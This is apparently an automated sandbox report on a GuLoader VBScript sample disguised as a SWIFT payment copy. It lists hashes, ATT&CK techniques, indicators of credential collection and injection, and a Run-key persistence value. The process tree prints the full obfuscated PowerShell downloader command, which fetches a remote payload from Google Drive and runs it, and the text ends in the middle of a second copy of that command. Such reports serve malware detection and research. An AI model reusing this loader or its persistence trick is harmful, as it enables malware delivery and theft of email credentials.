guloader | 78214eedc16cb2c386fcb6f03b1358c952a3bec8e9bd665f82c89abcbd63e933

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
13/05/2024, 15:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
COPIE SWIFT.vbs
Size 613KB
Sample240513-td8f2adg74
SHA256 5477def462fdcae17c6a25d3feadec78377f2c499f67b679d1893655245d8ecf
MD5 6c39910faf7a5c11f5f1366a3d7ab60b
SHA1 1907f645823fef5b9de6f8ab9f9b72bf31f286f3
SHA512 5df3bb3d6a33a7b79cf0fd7be4f235798189e49c99c392a161503ea7f476063f34dac5835799c0ab44ee52961f58c06f6b552f6f3788f23bd783c146c702526b
SSDEEP 6144:UZGi6qWuuQ/lCEEsXhXTBkWaUvtyy/hv1q+2dBoFOxVmdaedHNqGOyiSio6xAHIu:UWOmHIN/FeTvoyI2UTt8mt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/11256-75-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView
behavioral2/memory/27284-91-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

Nirsoft 4 IoCs

resource	yara_rule
behavioral2/memory/11256-75-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/10440-74-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/27284-91-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/27296-90-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1624	WScript.exe
5	4644	powershell.exe
7	4644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 19 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fremmedordet = "%Inconsistency% -w 1 $Strkest=(Get-ItemProperty -Path 'HKCU:\\Boligbebyggelses\\').igniform;%Inconsistency% ($Strkest)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
22	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1948	wab.exe
1948	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1984	powershell.exe
1948	wab.exe

Suspicious use of SetThreadContext 39 IoCs

description	pid	Process	procid_target
PID 1984 set thread context of 1948	1984	powershell.exe	89
PID 1948 set thread context of 11256	1948	wab.exe	1104
PID 1948 set thread context of 10440	1948	wab.exe	1105
PID 1948 set thread context of 19240	1948	wab.exe	2116
PID 1948 set thread context of 19260	1948	wab.exe	2118
PID 1948 set thread context of 27284	1948	wab.exe	3129
PID 1948 set thread context of 27296	1948	wab.exe	3130
PID 1948 set thread context of 35312	1948	wab.exe	4141
PID 1948 set thread context of 35324	1948	wab.exe	4142
PID 1948 set thread context of 43248	1948	wab.exe	5153
PID 1948 set thread context of 43260	1948	wab.exe	5154
PID 1948 set thread context of 51288	1948	wab.exe	6167
PID 1948 set thread context of 51300	1948	wab.exe	6168
PID 1948 set thread context of 59348	1948	wab.exe	7179
PID 1948 set thread context of 59360	1948	wab.exe	7180
PID 1948 set thread context of 67376	1948	wab.exe	8191
PID 1948 set thread context of 67388	1948	wab.exe	8192
PID 1948 set thread context of 75400	1948	wab.exe	9203
PID 1948 set thread context of 75412	1948	wab.exe	9204
PID 1948 set thread context of 83424	1948	wab.exe	10215
PID 1948 set thread context of 83436	1948	wab.exe	10216
PID 1948 set thread context of 91452	1948	wab.exe	11227
PID 1948 set thread context of 91464	1948	wab.exe	11228
PID 1948 set thread context of 99484	1948	wab.exe	12239
PID 1948 set thread context of 99496	1948	wab.exe	12240
PID 1948 set thread context of 107548	1948	wab.exe	13251
PID 1948 set thread context of 107560	1948	wab.exe	13252
PID 1948 set thread context of 115580	1948	wab.exe	14263
PID 1948 set thread context of 115616	1948	wab.exe	14266
PID 1948 set thread context of 123624	1948	wab.exe	15278
PID 1948 set thread context of 123636	1948	wab.exe	15279
PID 1948 set thread context of 131664	1948	wab.exe	16291
PID 1948 set thread context of 131676	1948	wab.exe	16292
PID 1948 set thread context of 139708	1948	wab.exe	17303
PID 1948 set thread context of 139720	1948	wab.exe	17304
PID 1948 set thread context of 147740	1948	wab.exe	18315
PID 1948 set thread context of 147760	1948	wab.exe	18317
PID 1948 set thread context of 155840	1948	wab.exe	19328
PID 1948 set thread context of 155852	1948	wab.exe	19329

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4584	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
536	PING.EXE

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4644	powershell.exe
4644	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
10440	wab.exe
10440	wab.exe
19260	Process not Found
19260	Process not Found
27296	Process not Found
27296	Process not Found
35324	Process not Found
35324	Process not Found
43260	Process not Found
43260	Process not Found
51300	Process not Found
51300	Process not Found
59360	Process not Found
59360	Process not Found
67388	Process not Found
67388	Process not Found
75412	Process not Found
75412	Process not Found
83436	Process not Found
83436	Process not Found
91464	Process not Found
91464	Process not Found
99496	Process not Found
99496	Process not Found
107560	Process not Found
107560	Process not Found
115616	Process not Found
115616	Process not Found
123636	Process not Found
123636	Process not Found
131676	Process not Found
131676	Process not Found
139720	Process not Found
139720	Process not Found
147760	Process not Found
147760	Process not Found
155852	Process not Found
155852	Process not Found

Suspicious behavior: MapViewOfSection 64 IoCs

pid	Process
1984	powershell.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe
1948	wab.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	10440	wab.exe
Token: SeDebugPrivilege	19260	Process not Found
Token: SeDebugPrivilege	27296	Process not Found
Token: SeDebugPrivilege	35324	Process not Found
Token: SeDebugPrivilege	43260	Process not Found
Token: SeDebugPrivilege	51300	Process not Found
Token: SeDebugPrivilege	59360	Process not Found
Token: SeDebugPrivilege	67388	Process not Found
Token: SeDebugPrivilege	75412	Process not Found
Token: SeDebugPrivilege	83436	Process not Found
Token: SeDebugPrivilege	91464	Process not Found
Token: SeDebugPrivilege	99496	Process not Found
Token: SeDebugPrivilege	107560	Process not Found
Token: SeDebugPrivilege	115616	Process not Found
Token: SeDebugPrivilege	123636	Process not Found
Token: SeDebugPrivilege	131676	Process not Found
Token: SeDebugPrivilege	139720	Process not Found
Token: SeDebugPrivilege	147760	Process not Found
Token: SeDebugPrivilege	155852	Process not Found

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1948	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 3168	1624	WScript.exe	80
PID 1624 wrote to memory of 3168	1624	WScript.exe	80
PID 3168 wrote to memory of 536	3168	cmd.exe	82
PID 3168 wrote to memory of 536	3168	cmd.exe	82
PID 1624 wrote to memory of 4644	1624	WScript.exe	83
PID 1624 wrote to memory of 4644	1624	WScript.exe	83
PID 4644 wrote to memory of 3712	4644	powershell.exe	85
PID 4644 wrote to memory of 3712	4644	powershell.exe	85
PID 4644 wrote to memory of 1984	4644	powershell.exe	87
PID 4644 wrote to memory of 1984	4644	powershell.exe	87
PID 4644 wrote to memory of 1984	4644	powershell.exe	87
PID 1984 wrote to memory of 4528	1984	powershell.exe	88
PID 1984 wrote to memory of 4528	1984	powershell.exe	88
PID 1984 wrote to memory of 4528	1984	powershell.exe	88
PID 1984 wrote to memory of 1948	1984	powershell.exe	89
PID 1984 wrote to memory of 1948	1984	powershell.exe	89
PID 1984 wrote to memory of 1948	1984	powershell.exe	89
PID 1984 wrote to memory of 1948	1984	powershell.exe	89
PID 1984 wrote to memory of 1948	1984	powershell.exe	89
PID 1948 wrote to memory of 2328	1948	wab.exe	91
PID 1948 wrote to memory of 2328	1948	wab.exe	91
PID 1948 wrote to memory of 2328	1948	wab.exe	91
PID 2328 wrote to memory of 4584	2328	cmd.exe	93
PID 2328 wrote to memory of 4584	2328	cmd.exe	93
PID 2328 wrote to memory of 4584	2328	cmd.exe	93
PID 1948 wrote to memory of 1364	1948	wab.exe	94
PID 1948 wrote to memory of 1364	1948	wab.exe	94
PID 1948 wrote to memory of 1364	1948	wab.exe	94
PID 1948 wrote to memory of 5036	1948	wab.exe	95
PID 1948 wrote to memory of 5036	1948	wab.exe	95
PID 1948 wrote to memory of 5036	1948	wab.exe	95
PID 1948 wrote to memory of 4212	1948	wab.exe	96
PID 1948 wrote to memory of 4212	1948	wab.exe	96
PID 1948 wrote to memory of 4212	1948	wab.exe	96
PID 1948 wrote to memory of 4332	1948	wab.exe	97
PID 1948 wrote to memory of 4332	1948	wab.exe	97
PID 1948 wrote to memory of 4332	1948	wab.exe	97
PID 1948 wrote to memory of 5060	1948	wab.exe	98
PID 1948 wrote to memory of 5060	1948	wab.exe	98
PID 1948 wrote to memory of 5060	1948	wab.exe	98
PID 1948 wrote to memory of 888	1948	wab.exe	99
PID 1948 wrote to memory of 888	1948	wab.exe	99
PID 1948 wrote to memory of 888	1948	wab.exe	99
PID 1948 wrote to memory of 3488	1948	wab.exe	100
PID 1948 wrote to memory of 3488	1948	wab.exe	100
PID 1948 wrote to memory of 3488	1948	wab.exe	100
PID 1948 wrote to memory of 964	1948	wab.exe	101
PID 1948 wrote to memory of 964	1948	wab.exe	101
PID 1948 wrote to memory of 964	1948	wab.exe	101
PID 1948 wrote to memory of 1564	1948	wab.exe	102
PID 1948 wrote to memory of 1564	1948	wab.exe	102
PID 1948 wrote to memory of 1564	1948	wab.exe	102
PID 1948 wrote to memory of 1736	1948	wab.exe	103
PID 1948 wrote to memory of 1736	1948	wab.exe	103
PID 1948 wrote to memory of 1736	1948	wab.exe	103
PID 1948 wrote to memory of 4728	1948	wab.exe	104
PID 1948 wrote to memory of 4728	1948	wab.exe	104
PID 1948 wrote to memory of 4728	1948	wab.exe	104
PID 1948 wrote to memory of 2392	1948	wab.exe	105
PID 1948 wrote to memory of 2392	1948	wab.exe	105
PID 1948 wrote to memory of 2392	1948	wab.exe	105
PID 1948 wrote to memory of 1260	1948	wab.exe	106
PID 1948 wrote to memory of 1260	1948	wab.exe	106
PID 1948 wrote to memory of 1260	1948	wab.exe	106

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\COPIE SWIFT.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping 6777.6777.6777.677e
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\system32\PING.EXE
    ping 6777.6777.6777.677e
    3⤵
    - Runs ping.exe
    PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Grendeling = 1;$Crepuscle56='Su';$Crepuscle56+='bstrin';$Crepuscle56+='g';Function Landocracy($Synthetisation){$Disulphoxid=$Synthetisation.Length-$Grendeling;For($Brlende=7;$Brlende -lt $Disulphoxid;$Brlende+=8){$Maanedsgage+=$Synthetisation.$Crepuscle56.Invoke( $Brlende, $Grendeling);}$Maanedsgage;}function Banians($Gryderet86){& ($Afstivningstmmers) ($Gryderet86);}$Yurts=Landocracy ' ComputM GetteroPredisszAfslageiMixolydlBeregnelForstana Reject/ Incivi5Rifletw.prokura0 En,oce Konfl k( PropinWBisecteiG,rminan NymphadPrims eoPiloterwFornuftsProfile ptaktsN,pencerTboganme Kaserne1kamera 0E.carpi. wa erc0Arbejds;Kragete Im,orteWBrnepasiSerialinHippieh6Vegatab4Emba le;Diabolo Aprop x Trykkn6 Lindab4Pronoun;strumas AfstninrPar chiv Unbrid:Trustbu1Frysebo2Bakkant1Chuck a.Grnsepr0Afvikl,) Social afholdtGSt,ringeHjertekc AmphodkUnendaboUnforse/Struktu2Sundhed0St.eetc1Hygi jn0Underp,0Marcipa1Fl,atag0 Sikker1Stjerne Ti,kendF Na,ioniEvadin rVapora eKonsumtfsauteedoUnderklxInsculp/Tegne.g1ulveung2 Vektor1Samlema. ,levis0Autoty. ';$Reckvelse=Landocracy 'BantamvUvinorhosEfterbeeJawabtmrHelaars-SkydebrALemlstegAtmologeDip.omin Upgrowt.ilgaui ';$Semiagricultural=Landocracy 'Encyclohspandent LicenstEpistropDevotios Quarre:Nonpe c/U,yldes/NimblyadKonjunkrEftertaiVrighedvGrieshoeHjemmea.OvulategSinkliko MagnetoDies lig Bealo l Slapp.e ortfre.InapprecflteveroOprrersmOverbra/InterpluUnitagecapsiste? OverdoeStrendexElabo apForind oKeratolrColumbat,aintpa=Ribbortd WorkhooCi cumvwPhrenolnDunlet.llu anaroballonoa americdDokumen&Bogo sli Hagiocd Apolog=Animist1SubsidihSel gsuK R.initiHurdleroSaturniVCarunc,gSaa sfjr axibuNPenonce0DansemuSS,pracrfCruelleQ GrnsesNDobbeltXRadioakWLatridiOt.kstfaDInteropR PolitirYdelsese So,ace4Rdlgene6sengek.WPandit,rBeautybPe.emitauRefuserlspisestsXylot ph,abbage4DiscordlVourukaoDeut.ra ';$Milieuretternes=Landocracy 'Mirvud,> Stonil ';$Afstivningstmmers=Landocracy 'smagss,iUnconsteString.xL vande ';$Bummelummernes='cezanne';Banians (Landocracy ' Curf wSureelleeminuendtStoryer-Beb,edeCBesynd.oRivieranPlutonitByzantieSommerfnAarh.ndtbiforin Thronis- afgl,tPelefmegaPatroletstjyllah Tankb. VrdigenTSchoolw:Meinybe\FrimureDTopiarioPostgemuStolonssHumrforiFillistnoverillg formkr.Unsc,emt SammenxDithiontUn ovea Pleatin- ThuyopVElsha eaT.ilsinlA totoxuCoe,ploeCa.usis Kaliffe$So ialdBB,ckupfuBunkendmProbl.mmMisacc.e .atalul qu keru,anuslimAbor gimHolm oleGemmo orDrag,onnfremst,e ApokalsSamstil;vi,demi ');Banians (Landocracy 'Hospitai MillcafHvere a benzogl(Nonma,ktKa.edrae Preve.sNittenetNoniner-orach.mpBakspejaDet.battStikordhHermene a.sembTTriolog:Pe igon\ EnkronDScreenaoRockribuBotaniksHemimetiUndervin AabningDulmerl.AdullamtUdk mmixObl.gattLavener)Radiomo{BrudenaeAplombsxDemipreiGriot.etMisgau } Forvnn;Klaustr ');$Centrumspartis = Landocracy 'Ko.vojeeOvervarcOriginah.olibako iames pitons%TemporiaHygromepKaddishpBullbegdOxyaldeaCogita t Musikia Radens% Kraftv\DrvogteJResleg.aLavspornCultishe ierogrt lotsantMulticusStygger. TeknolHAnt.kvaoAbrogatvGalvan. mo,genp&Unde.la&Udpolst Evenfoe OncogecFlormelhKonven.oSvaneni val.etp$ Mettys ';Banians (Landocracy 'bechame$Yabbybig BestralUnreconoNavnerkbJulepira etechil Rae,ke:Sp,tlumRsalathoeRenestudSekvenssA.onisskRespostaDisciplbMblere.e MilliotRepar t=Tomo,ra(AraucancCompilemEfterhadfiredog Rollehf/FlyttelcUncon.r K ingl$Kl nusiCudvalg.e Efte knpneumontFishifirRuflersuraylessmFlyta lsTrepunkpHkbrtk,aDsigh,dr Cr.ccutImpressiant.roms Afleve) Eurasi ');Banians (Landocracy 'Ti.ndee$ sammengdander l FetereoBol.gstb Coloria TrkkerlTub.lip:KlimatoSGarrybouUfoenstlmusika,v MeleagaUnsacranBi letpi Har patAsteriseFinnets= Vegeta$Corfi zSHydrocheAntiantmDamaskdi TrimniaAphanopgtaleor,rgingiliiThiophecMoolveeu .lphablSaddelmtI,fectouVanskelr Mi,behaUnregullEjsaszi.BlaasimsPodop yp GuckiflA.gravei Olympstspongio(E.gbeat$HealltoMsa,atori Payo,al gamiliS.uggiseOptegneuPol inir Ober,te Felonut PrologtPremuddeFr,kaderK ltedenContredeBoroglysGluteth)Deriver ');$Semiagricultural=$Sulvanite[0];Banians (Landocracy 'antinom$Dalstrkg Friktil TalliaoPocketbbSolretta Trmlksl Repola:BoyishnLTiresomiGuill tnBaldacheAleksa nNeiamisyDiplaca=bombefaN C.anideLampicgwCor opa-UdvidelOIceblinbFluefanjLoftr.geVidereuc DissimtSkriftt NonexpeS Lastluy jer,missuperi tNonepise ennesbmWestlei.PolyderNLungleseVal tastOveragg.GalaxiaWDisfigue Co,rgebSkalaerCPrjs.sklBrowbeai bewil eKadayann GwantutEpiz,ar ');Banians (Landocracy 'Lau.ing$fol.eliLkobsmediTif ingn .lodplestillegnReverbeyPillslv.SnblersHRamificeIn.awrya Nulterddis ecoe Slt,enrFunkti,sGrinebi[ ,oaste$Refo maRS,opovee filmkucSerigrakAdtranzvHollysreH emmeblTransplsPerfunceA legaa]Fro,ten= ombedf$Elapi.aYOverjeguCycloalrBjlkelotUdrejsesAbort v ');$Fldebollers=Landocracy 'Byp,anvLProverbi igdomn BiomasePatten,nl,mbardy Taane,.MacromeDUnwom noSweetbrwFoders.nDagpenglOrdinato LettisaSomewhedPengepuFBekostniOverp,elFlyve,ieVridsls(Umaadeh$Baro etSplatytre AkkvismTodaysniAsymptoaMarti igStbloklr Candiei heoremc Sforsvuchorookl Diag ntSofaenlu Nor.bor CarlssaHr,ndehlForlbsm,grounds$ SpectrSLufttryt AdessioStoka ip.denosip .eandee UdskildDupliceeDeltran)Skri.te ';$Fldebollers=$Redskabet[1]+$Fldebollers;$Stoppede=$Redskabet[0];Banians (Landocracy 'Rat ail$FascistgMisrgtelSinistroSphaerob StatisaDelo.ral Ekstre: LivmodSwarranthTrailerrRo.eldaiKaprerenImplemek Pharyne Total.rSeyche = Anorma(SachemsTsensomme BevidnsCokeneytForekno-HysteriPSmurrsraOrganist Bidr.gh Splids Lnsyst $ pslagsSFreajgetVandaleoFleishipKnuserepKonohikePaasttedSingrn.eBecrowd)Randpun ');while (!$Shrinker) {Banians (Landocracy 'S.edere$Tetraptgimpellil AliteroUddel gbImpertiaTebirkelPsyc,on:reaktioMKvatoriaStrikkeaLect,relTransfeeNectonebA tistroP,thisirOrbitozdPeacock=Miserab$OphjesitEkstraurPrsteviuKrecardespeakin ') ;Banians $Fldebollers;Banians (Landocracy 'A,pealeSBa diestSu.kertaEf.ertarPerill,tTric au-PrdestiS Aar,vilTmmermaeSlette eDirndlspPycnidi Serva.t4Deedine ');Banians (Landocracy 'Overscr$StraalegMars,allEnkestao pri,tabL,nugotaFa.lbanlBandolh:PosteriSu.smideh AaremarUkyndigikravlednFratri,kForevaleBo.tvasrCeltisa=Fullm.u(KvoteriTSuppleme AnybodsAcreamgtRanters- TmrerlPAngs ska F.avrstChalcedhDis ers Croppe.$Cr akieSBalancetEfterbyo rangsapChaforlp ElektreF.llowidPharmace Vandkm)Bra den ') ;Banians (Landocracy 'Tr,vatu$Hel.inngRund,ullhrfuglgoRevit lbUdpensla AdaptelBygsukk:Aareg nPThioniurForldedeBekendes Aar.igeDrnede lBeastislDisagres arefor= Snores$MosefungPlessiml.alemaao.urgersbC,nstanavoicenolH,rtigh:SukkertRReexcavo Cheverd CbabbaoBufferrm,ouchedoRllik nnSkrmfortUdkonkuaManuscrdCommerciAllermenTmmerprgTroneti+Turistc+ Metafu%Majoris$Tils,raStordensuCheckidl Strovev redresaPrioritn .dhhmaispar.ittSensitoeGiantsh. G,undtcBredbaaoTrich ouSugannanOver.omtMyted,n ') ;$Semiagricultural=$Sulvanite[$Presells];}$Construct=320971;$Selvglad=28390;Banians (Landocracy 'Al egor$bevaringRonsardl nallagoBre.iarbLibe alaDecurrel S amer:BlitterSMa,ebeahP,econsiStrmkntnW odagag nfaithuSubintraSydaf,irHereticdHippoid Sundhed=ringf n Gstgi.eGDretph,eCr,dleltprebble- TvrretCStyr etospeciatnFornufttUforligeSnresunnK umpfdtMagilps Efterst$Ro,angpSSrkenevtImpressoBebrushp UdskejpBa,tioneMelderndRek,rsmeLnnapro ');Banians (Landocracy 'Evapore$Udskibngydelsesl,enfaldo,inkhavbgrammabaarbejdelKlde.ka:Ex.ressP prolonhBenjameyNyprogrsToboggai Rorsmno.ackmakgOtariide FredsanTussedeiNovellecUntenab Xiphosu=Skdesls Udsendi[LusyscoSAlsi igyAl rmersEcpho.itParce leMo,osommBog ide.Flopp dCFacitt.oriflingnTlleappv uldfodeVekselvr RistertDeodora]Schisto:Afkrfta: MyoneuFTilstter rentetoSinoatrmTallerkBTitularaInfirmssYet,sateGendrej6Anticoa4 Re.gniSRaugravtUnvatter,nderviiPlenarynJunaskngKelterb(Galehus$BtisebrSKons.rthFugle.niHustanknRostroig Blgp augvinkelaRo.nfisrMenighedafvi.el)Alleg r ');Banians (Landocracy 'S,dstep$MessagegSlutninlVagtpa.oBad,nicbgrfterraUncircul Jerric:ThybokrS RemeditMajaguayPiggishr,rbeskykGennemre Iri oct FolkmormetallonLivssti Bu,hind=Yonnash b each[VenatorSCanesceyMonologs BrusketSe.vmede Henvejm Woolga.Nonb rdTClaudiaeIndroemxAkvatintRewa bi.Gr tingEFolketinHulken cSporipaoMig tyodReson ni orrykknDifton.g Rgerim]Senator:f ordmu:ForpestASher.bjSHeter,eCDispe sIEgenskaI Cuttli.Pr hibiGCleareteAftercotUnplentSchoppi.tUndila,r JestiniHygromen Quad,ig Exceed(Mi.ease$VariansPRemtrkkhStomoxyythyselfsHeltediiSenti,eobetingegBloomere DeroganBetaliniHar,unecH.ndeve)ologyk ');Banians (Landocracy 'araneid$Freq,eng ,vigatl St.dfaoOfficerbConservaOlavursl Ridies:BrandslSFolkerenKonversrUmbrac k retomlCloselieAdshearr mel.ans Ectrot= Totali$ Eva ueSmu,ketet IndkomyLkuskblrBesvimek Noasa eMmerefrtBrnearbrGolftrjn Snuff,.Ophid esReli teu FautorbCamisiasDecotict Antiphr QuereniHavvrt.nIncirc.gRetu.fl(Unamiab$ChordalC SvbesloTekstilnGorkiessvikarert aff,ktrLilleh,u orkshycExtratetlrkerbj, Glass $PositivSDetermieronnieplNonc.rrvS utafrgDeashtrlG,ttulaa Pr,ecidU,senve) Snuffl ');Banians $Snrklers;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Janetts.Hov && echo $"
    3⤵
    PID:3712
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Grendeling = 1;$Crepuscle56='Su';$Crepuscle56+='bstrin';$Crepuscle56+='g';Function Landocracy($Synthetisation){$Disulphoxid=$Synthetisation.Length-$Grendeling;For($Brlende=7;$Brlende -lt $Disulphoxid;$Brlende+=8){$Maanedsgage+=$Synthetisation.$Crepuscle56.Invoke( $Brlende, $Grendeling);}$Maanedsgage;}function Banians($Gryderet86){& ($Afstivningstmmers) ($Gryderet86);}$Yurts=Landocracy ' ComputM GetteroPredisszAfslageiMixolydlBeregnelForstana Reject/ Incivi5Rifletw.prokura0 En,oce Konfl k( PropinWBisecteiG,rminan NymphadPrims eoPiloterwFornuftsProfile ptaktsN,pencerTboganme Kaserne1kamera 0E.carpi. wa erc0Arbejds;Kragete Im,orteWBrnepasiSerialinHippieh6Vegatab4Emba le;Diabolo Aprop x Trykkn6 Lindab4Pronoun;strumas AfstninrPar chiv Unbrid:Trustbu1Frysebo2Bakkant1Chuck a.Grnsepr0Afvikl,) Social afholdtGSt,ringeHjertekc AmphodkUnendaboUnforse/Struktu2Sundhed0St.eetc1Hygi jn0Underp,0Marcipa1Fl,atag0 Sikker1Stjerne Ti,kendF Na,ioniEvadin rVapora eKonsumtfsauteedoUnderklxInsculp/Tegne.g1ulveung2 Vektor1Samlema. ,levis0Autoty. ';$Reckvelse=Landocracy 'BantamvUvinorhosEfterbeeJawabtmrHelaars-SkydebrALemlstegAtmologeDip.omin Upgrowt.ilgaui ';$Semiagricultural=Landocracy 'Encyclohspandent LicenstEpistropDevotios Quarre:Nonpe c/U,yldes/NimblyadKonjunkrEftertaiVrighedvGrieshoeHjemmea.OvulategSinkliko MagnetoDies lig Bealo l Slapp.e ortfre.InapprecflteveroOprrersmOverbra/InterpluUnitagecapsiste? OverdoeStrendexElabo apForind oKeratolrColumbat,aintpa=Ribbortd WorkhooCi cumvwPhrenolnDunlet.llu anaroballonoa americdDokumen&Bogo sli Hagiocd Apolog=Animist1SubsidihSel gsuK R.initiHurdleroSaturniVCarunc,gSaa sfjr 